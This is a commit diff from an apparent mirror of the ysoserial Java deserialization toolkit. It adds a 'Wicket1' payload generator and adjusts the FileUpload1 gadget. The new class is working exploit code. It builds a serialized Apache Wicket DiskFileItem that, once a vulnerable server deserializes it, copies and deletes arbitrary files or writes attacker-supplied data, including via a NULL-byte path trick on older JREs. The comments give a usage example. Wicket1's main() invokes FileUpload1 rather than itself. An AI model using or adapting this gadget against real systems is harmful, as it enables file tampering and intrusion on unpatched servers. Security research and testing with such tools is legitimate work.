mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-26 17:01:53 +08:00
Merge branch 'master' of https://github.com/frohoff/ysoserial
This commit is contained in:
@@ -222,6 +222,11 @@
|
|||||||
<artifactId>commons-fileupload</artifactId>
|
<artifactId>commons-fileupload</artifactId>
|
||||||
<version>1.3</version>
|
<version>1.3</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.apache.wicket</groupId>
|
||||||
|
<artifactId>wicket-util</artifactId>
|
||||||
|
<version>6.23.0</version>
|
||||||
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>com.mchange</groupId>
|
<groupId>com.mchange</groupId>
|
||||||
<artifactId>c3p0</artifactId>
|
<artifactId>c3p0</artifactId>
|
||||||
|
|||||||
@@ -22,11 +22,11 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
* DiskFileItem.readObject()
|
* DiskFileItem.readObject()
|
||||||
*
|
*
|
||||||
* Arguments:
|
* Arguments:
|
||||||
* - copyAndDelete:sourceFile:destDir
|
* - copyAndDelete;sourceFile;destDir
|
||||||
* - write:destDir:ascii-data
|
* - write;destDir;ascii-data
|
||||||
* - writeB64:destDir:base64-data
|
* - writeB64;destDir;base64-data
|
||||||
* - writeOld:destFile:ascii-data
|
* - writeOld;destFile;ascii-data
|
||||||
* - writeOldB64:destFile:base64-data
|
* - writeOldB64;destFile;base64-data
|
||||||
*
|
*
|
||||||
* Yields:
|
* Yields:
|
||||||
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
|
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
|
||||||
@@ -44,7 +44,7 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
|||||||
|
|
||||||
public DiskFileItem getObject ( String command ) throws Exception {
|
public DiskFileItem getObject ( String command ) throws Exception {
|
||||||
|
|
||||||
String[] parts = command.split(":");
|
String[] parts = command.split(";");
|
||||||
|
|
||||||
if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
|
if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
|
||||||
return copyAndDelete(parts[ 1 ], parts[ 2 ]);
|
return copyAndDelete(parts[ 1 ], parts[ 2 ]);
|
||||||
|
|||||||
@@ -0,0 +1,111 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.util.Arrays;
|
||||||
|
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
import org.apache.wicket.util.upload.DiskFileItem;
|
||||||
|
import org.apache.wicket.util.io.DeferredFileOutputStream;
|
||||||
|
import org.apache.wicket.util.io.ThresholdingOutputStream;
|
||||||
|
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This gadget is almost identical to FileUpload1 since it appears
|
||||||
|
* that Apache Wicket copied a version of Apache Commons DiskFileItem
|
||||||
|
* prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That
|
||||||
|
* means that if the target is running less than Oracle Java 7 update 40
|
||||||
|
* then the NULL byte attack is viable. Otherwise, copy and move attacks
|
||||||
|
* always work.
|
||||||
|
*
|
||||||
|
* This attack is valid for the 1.x and 6.x lines of Apache Wicket but
|
||||||
|
* was fixed in 1.5.16 and 6.24.0 (released July 2016).
|
||||||
|
*
|
||||||
|
*
|
||||||
|
* Arguments:
|
||||||
|
* - copyAndDelete;sourceFile;destDir
|
||||||
|
* - write;destDir;ascii-data
|
||||||
|
* - writeB64;destDir;base64-data
|
||||||
|
* - writeOld;destFile;ascii-data
|
||||||
|
* - writeOldB64;destFile;base64-data
|
||||||
|
*
|
||||||
|
* Example:
|
||||||
|
* Wicket1 "write;/tmp;blue lobster"
|
||||||
|
*
|
||||||
|
* Result:
|
||||||
|
* $ ls -l /tmp/
|
||||||
|
* -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
|
||||||
|
* $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
|
||||||
|
* blue lobster
|
||||||
|
*/
|
||||||
|
@Dependencies({"wicket-util:wicket-util:6.23"})
|
||||||
|
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||||
|
|
||||||
|
public DiskFileItem getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
String[] parts = command.split(";");
|
||||||
|
|
||||||
|
if (parts.length != 3) {
|
||||||
|
throw new IllegalArgumentException("Bad command format.");
|
||||||
|
}
|
||||||
|
|
||||||
|
if ("copyAndDelete".equals(parts[0])) {
|
||||||
|
return copyAndDelete(parts[1], parts[2]);
|
||||||
|
}
|
||||||
|
else if ("write".equals(parts[0])) {
|
||||||
|
return write(parts[1], parts[2].getBytes("US-ASCII"));
|
||||||
|
}
|
||||||
|
else if ("writeB64".equals(parts[0]) ) {
|
||||||
|
return write(parts[1], Base64.decodeBase64(parts[2]));
|
||||||
|
}
|
||||||
|
else if ("writeOld".equals(parts[0]) ) {
|
||||||
|
return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII"));
|
||||||
|
}
|
||||||
|
else if ("writeOldB64".equals(parts[0]) ) {
|
||||||
|
return writeOldJRE(parts[1], Base64.decodeBase64(parts[2]));
|
||||||
|
}
|
||||||
|
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void release(DiskFileItem obj) throws Exception {
|
||||||
|
}
|
||||||
|
|
||||||
|
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
|
||||||
|
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
|
||||||
|
private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
|
||||||
|
return makePayload(data.length + 1, dir, dir + "/whatever", data);
|
||||||
|
}
|
||||||
|
|
||||||
|
// writes data to an arbitrary file
|
||||||
|
private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception {
|
||||||
|
return makePayload(data.length + 1, file + "\0", file, data);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
|
||||||
|
// if thresh < written length, delete outputFile after copying to repository temp file
|
||||||
|
// otherwise write the contents to repository temp file
|
||||||
|
File repository = new File(repoPath);
|
||||||
|
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null);
|
||||||
|
File outputFile = new File(filePath);
|
||||||
|
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
|
||||||
|
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
|
||||||
|
os.write(data);
|
||||||
|
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
|
||||||
|
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
|
||||||
|
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
|
||||||
|
return diskFileItem;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main ( final String[] args ) throws Exception {
|
||||||
|
PayloadRunner.run(FileUpload1.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user